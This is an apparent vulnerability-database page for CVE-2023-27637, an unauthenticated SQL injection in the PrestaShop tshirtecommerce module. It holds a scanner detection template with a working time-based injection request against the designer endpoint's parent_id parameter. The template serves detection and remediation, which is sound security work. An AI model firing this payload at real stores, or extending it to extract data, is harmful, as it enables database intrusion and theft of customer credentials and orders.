CVE-2023-27637: PrestaShop `tshirtecommerce` Module - SQL Injection

2025-08-01 PrestaShop PoC Public

Description

The tshirtecommerce module for PrestaShop is vulnerable to unauthenticated SQL injection via the designer endpoint, allowing attackers to execute arbitrary SQL queries and extract sensitive information from the database.

PoC

id: CVE-2023-27637

info:
  name: PrestaShop `tshirtecommerce` Module - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    The tshirtecommerce module for PrestaShop is vulnerable to unauthenticated SQL injection via the designer endpoint, allowing attackers to execute arbitrary SQL queries and extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection through the parent_id parameter in the designer endpoint to extract the complete PrestaShop database including user credentials and order data.
  remediation: |
    Update the tshirtecommerce module to the latest version and apply all security patches.
  reference:
    - https://security.friendsofpresta.org/module/2023/03/21/tshirtecommerce_cwe-89.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27637
    - https://codecanyon.net/item/prestashop-custom-product-designer/19202018
    - https://tshirtecommerce.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27637
    cwe-id: CWE-89
    epss-score: 0.03299
    epss-percentile: 0.87889
    cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:2.1.4:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 1
    vendor: tshirtecommerce
    product: custom_product_designer
    framework: prestashop
    fofa-query: body="Prestashop" && body="tshirtecommerce"
  tags: cve,cve2023,prestashop,tshirtecommerce,sqli,time-based-sqli,vkev,vuln

http:
  - raw:
      - |
        @timeout: 30s
        GET /module/tshirtecommerce/designer?product_id=900982561&parent_id=1;SELECT%20SLEEP(8); HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=8"
          - "status_code == 200"
          - "contains(tolower(body), 'product not found')"
        condition: and
# digest: 4a0a00473045022100f6e6b5a78821571e935ade987f136edfa8be370a2c36fe47da34cf8f148bec3b0220572a801d501150fee2f931303d3ad76348e3a5a25996260a2bd9dd97d32e5738:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities